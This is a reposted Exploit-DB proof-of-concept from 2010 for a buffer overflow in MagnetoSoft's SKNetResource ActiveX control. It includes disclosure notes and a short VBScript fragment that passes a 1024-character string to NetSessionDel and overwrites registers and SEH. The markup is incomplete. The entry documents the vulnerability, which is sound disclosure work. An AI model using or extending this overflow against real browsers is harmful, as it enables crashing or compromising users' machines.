MagnetoSoft NetworkResources 4.0.0.5 – ActiveX NetSessionDel (PoC) - 体验盒子

作者： s4squatch

日期： 2010-04-13

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/12205/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

<html>

'Magneto Software Net Resource ActiveX NetSessionDel BOF

'Discovered by:s4squatch

'Site:www.securestate.com

'Date Discovered: 02/11/10

'www:http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm

'Download:http://www.magnetosoft.com/downloads/SystemInfoPackSetup.exe

'Vendor Notified: 02/02/10 --> NO RESPONSE

'Vendor Notified: 02/11/10 --> NO RESPONSE

'Vendor Notified: 02/17/10 --> NO RESPONSE

'Published 04/13/10

'SKNetResource.ocx

'Function NetSessionDel ( ByVal strServerName As String ,ByVal strClientName As String ,ByVal nSessionId As Integer ) As Long

'progid = "SKNETRESOURCELib.SKNetResource"

'EAX, EBX, SEH overwritten

buff = String(1024, "A")

target.NetSessionDel "defaultV", buff, 1

</script>